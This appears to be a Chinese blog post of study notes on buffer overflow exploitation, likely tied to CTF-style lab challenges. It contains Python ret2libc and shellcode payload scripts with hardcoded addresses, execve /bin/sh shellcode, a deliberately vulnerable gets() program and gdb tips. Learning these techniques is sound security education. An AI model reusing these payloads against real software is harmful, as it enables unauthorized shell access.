bufferoverflow缓冲区溢出攻击

bufferoverflow

小端法和大端法

  1. 小端法(Little Endian):低位字节存储在内存的低地址处,高位字节存储在内存的高地址处。例如,一个 4 字节的整数 0x12345678 在小端法中被存储为 0x78 0x56 0x34 0x12。

  2. 大端法(Big Endian):高位字节存储在内存的低地址处,低位字节存储在内存的高地址处。例如,一个 4 字节的整数 0x12345678 在大端法中被存储为 0x12 0x34 0x56 0x78。

实用技巧和命令

  1. 构造负载,使用python struct

     import struct
    
     buffer = 'A'*132
     sys = struct.pack("I",0xb7e52db0)
     exit = struct.pack("I",0xb7e469e0)
     shell = struct.pack("I",0xb7f73b0b)
    
     print buffer + sys + exit + shell     
    
    
  2. 使用管道符 ‘|’

    简单命令管道
    命令1 | 命令2

    这将把命令1的输出作为命令2的输入。例如:

    ls | grep test  #这个命令将在当前目录下列出所有文件,并将其中包含“test”的行过滤出来。
    
    cat payload - | ./task   #将我设计好的用于缓冲区溢出的负载使用管道符输入
    

    cat payload - | ./challenge4 是将payload文件的内容作为第一个输入流(stdin),通过管道(pipe)连接到名为challenge4的可执行文件的输入。同时,-代表标准输入(stdin),作为第二个输入流传递给challenge4程序。
    当命令cat payload -执行时,它会将payload文件的内容输出到标准输出(stdout),然后等待用户从标准输入(stdin)中输入内容并传递给下一个程序,即./challenge4。由于-代表标准输入(stdin),因此用户可以在命令行中输入内容并将其作为第二个输入流传递给challenge4程序。使用cat payload - | ./challenge4命令可以将文件的内容和用户输入同时传递给challenge4程序,并在不创建中间文件的情况下进行处理和分析

    以此来强制overflow获得的shell保持打开

  3. gdb

    1. 使用gdb打断点 b
      1. 编译源代码时,需要在命令行中添加调试标志-g。
      2. 在gdb命令行中输入break命令,并指定要在哪个行号或函数上设置断点。例如,在行号42处设置断点:
            (gdb) break 42
        
      3. 或者在函数my_function中设置断点:
            (gdb) break my_function
        
    2. 运行程序 run [arg1] [arg2]
      run
      
    3. 打印变量 p
      p system # 会输出 system 函数在内存中的地址
      
    4. 查看内存 x
      x/[length][format] address
      x/s 0x5678  #其中,s 表示将内存中的字节序列解释为字符型数组,0x5678 是字符数组的起始地址
      x/100xb address #16进制查看100字节
      
    5. 查看寄存器的值 info reg/breakpoints
    6. 常用命令
      1. next: 执行下一行语句,不进入函数内部。
      2. step: 执行下一行语句,进入函数内部。
      3. backtrace: 显示函数调用堆栈。
      4. delete breakpoints: 删除所有断点。
    7. checksec 可以用于检查二进制文件的安全保护机制查看是否可以overflow或者怎样overflow

shellcode

  1. 构造 shellcode
    1. 手动编写汇编代码:手动编写汇编代码,将其编译为二进制文件,并进行适当的调试和测试。
    2. 使用工具生成(Metasploit、pwntools、ROPgadget)
    3. 反编译现有的二进制代码
  2. 打开一个终端的shellcode
    1. 源程序
    #include <stdlib.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <string.h>
    
    int main(int argc, char **argv)
    {
        volatile int tamper = 20776301;
        char buffer[81];
    
        gets(buffer);
    
        if(tamper!=20776301) {
            printf("Tamper detected! No ret for you!\ntamper = 0x%08x\n", tamper);
            _exit(1);
        }
    
    }
    
    1. shellcode生成
    import struct
    pad1 = 'A' * 81
    pad2 = "\x6d\x05\x3d\x01"
    pad3 = 'B' * 4
    EIP = struct.pack("I",0xbffff660)
    shellcode = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    NOP = "\x90" * 100
    print pad1 + pad2 + pad3 + EIP + NOP + shellcode
    

ret2libc

  1. ret2libc 是一种利用程序中存在的函数调用漏洞(比如缓冲区溢出)来执行任意代码的方法。该方法的基本原理是,利用缓冲区溢出等漏洞覆盖函数的返回地址,使得程序返回到 libc 库中的某个函数(y一般system),然后利用该函数执行任意代码,从而实现攻击者的目的。
    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
    ret2libc教学https://shellblade.net/files/docs/ret2libc.pdf
  2. 从中我们可以知道当我们把ret替换为system()的地址(sys_addr)后,该函数第一个变量的值会在sys_addr + 8的位置此时我们把指向“/bin/sh”的指针放在该位置,相当于为system(“/bin/sh”)
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值